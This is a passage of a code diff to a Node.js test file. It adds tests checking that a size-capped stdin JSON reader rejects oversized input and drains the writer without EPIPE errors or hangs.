- // maxSize is a chunk-level guard: once data.length >= maxSize, no MORE chunks are added.
- // A single small chunk that arrives when data.length < maxSize is added in full.
- // To test multi-chunk behavior, we send >64KB (Node default highWaterMark=16KB)
- // which should arrive in multiple chunks. With maxSize=100, only the first chunk(s)
- // totaling under 100 bytes should be captured; subsequent chunks are dropped.
+ // Send enough data to cross the chunk-level cap. The child must keep
+ // draining stdin until EOF so the parent does not see EPIPE on macOS.
const script = 'const u=require("./scripts/lib/utils");u.readStdinJson({timeoutMs:2000,maxSize:100}).then(d=>{process.stdout.write(JSON.stringify(d))})';
- // Generate 100KB of data (arrives in multiple chunks)
const bigInput = '{"k":"' + 'X'.repeat(100000) + '"}';
const result = execFileSync('node', ['-e', script], { ...stdinOpts, input: bigInput });
- // Truncated mid-string → invalid JSON → resolves to {}
+ // Oversized input is rejected rather than parsing a partial JSON prefix.
+ assert.deepStrictEqual(JSON.parse(result), {});
+ })) passed++; else failed++;
+
+ if (test('readStdinJson overflow drain still exits when the writer never closes stdin', () => {
+ const { execFileSync } = require('child_process');
+ const childScript = [
+ 'const u=require("./scripts/lib/utils");',
+ 'u.readStdinJson({timeoutMs:100,maxSize:100})',
+ '.then(d=>process.stdout.write(JSON.stringify(d)));'
+ ].join('');
+ const harness = `
+ const { spawn } = require('child_process');
+ const child = spawn(process.execPath, ['-e', ${JSON.stringify(childScript)}], {
+ cwd: process.cwd(),
+ stdio: ['pipe', 'pipe', 'inherit']
+ });
+ let stdout = '';
+ child.stdout.setEncoding('utf8');
+ child.stdout.on('data', chunk => { stdout += chunk; });
+ child.stdin.write('X'.repeat(100000));
+ const deadline = setTimeout(() => {
+ child.kill();
+ process.exit(2);
+ }, 1000);
+ child.on('exit', code => {
+ clearTimeout(deadline);
+ if (code !== 0) process.exit(code || 1);
+ process.stdout.write(stdout);
+ });
+ `;
+ const result = execFileSync('node', ['-e', harness], {
+ ...stdinOpts,
+ timeout: 2000
+ });
+ assert.deepStrictEqual(JSON.parse(result), {});
+ })) passed++; else failed++;
+
+ if (test('readStdinJson drains a slow finite oversized writer without EPIPE', () => {
+ const { execFileSync } = require('child_process');
+ const childScript = [
+ 'const u=require("./scripts/lib/utils");',
+ 'u.readStdinJson({timeoutMs:500,maxSize:100})',
+ '.then(d=>process.stdout.write(JSON.stringify(d)));'
+ ].join('');
+ const harness = `
+ const { spawn } = require('child_process');
+ const child = spawn(process.execPath, ['-e', ${JSON.stringify(childScript)}], {
+ cwd: process.cwd(),
+ stdio: ['pipe', 'pipe', 'inherit']
+ });
+ let stdout = '';
+ let writes = 0;
+ child.stdout.setEncoding('utf8');
+ child.stdout.on('data', chunk => { stdout += chunk; });
+ child.stdin.on('error', () => process.exit(3));
+ const writer = setInterval(() => {
+ writes += 1;
+ child.stdin.write('X'.repeat(5000));
+ if (writes === 20) {
+ clearInterval(writer);
+ child.stdin.end();
+ }
+ }, 5);
+ const deadline = setTimeout(() => {
+ child.kill();
+ process.exit(2);
+ }, 1500);
+ child.on('exit', code => {
+ clearInterval(writer);
+ clearTimeout(deadline);
+ if (code !== 0) process.exit(code || 1);
+ process.stdout.write(stdout);
+ });
+ `;
+ const result = execFileSync('node', ['-e', harness], {
+ ...stdinOpts,
+ timeout: 2000
+ });
assert.deepStrictEqual(JSON.parse(result), {});
})) passed++; else failed++;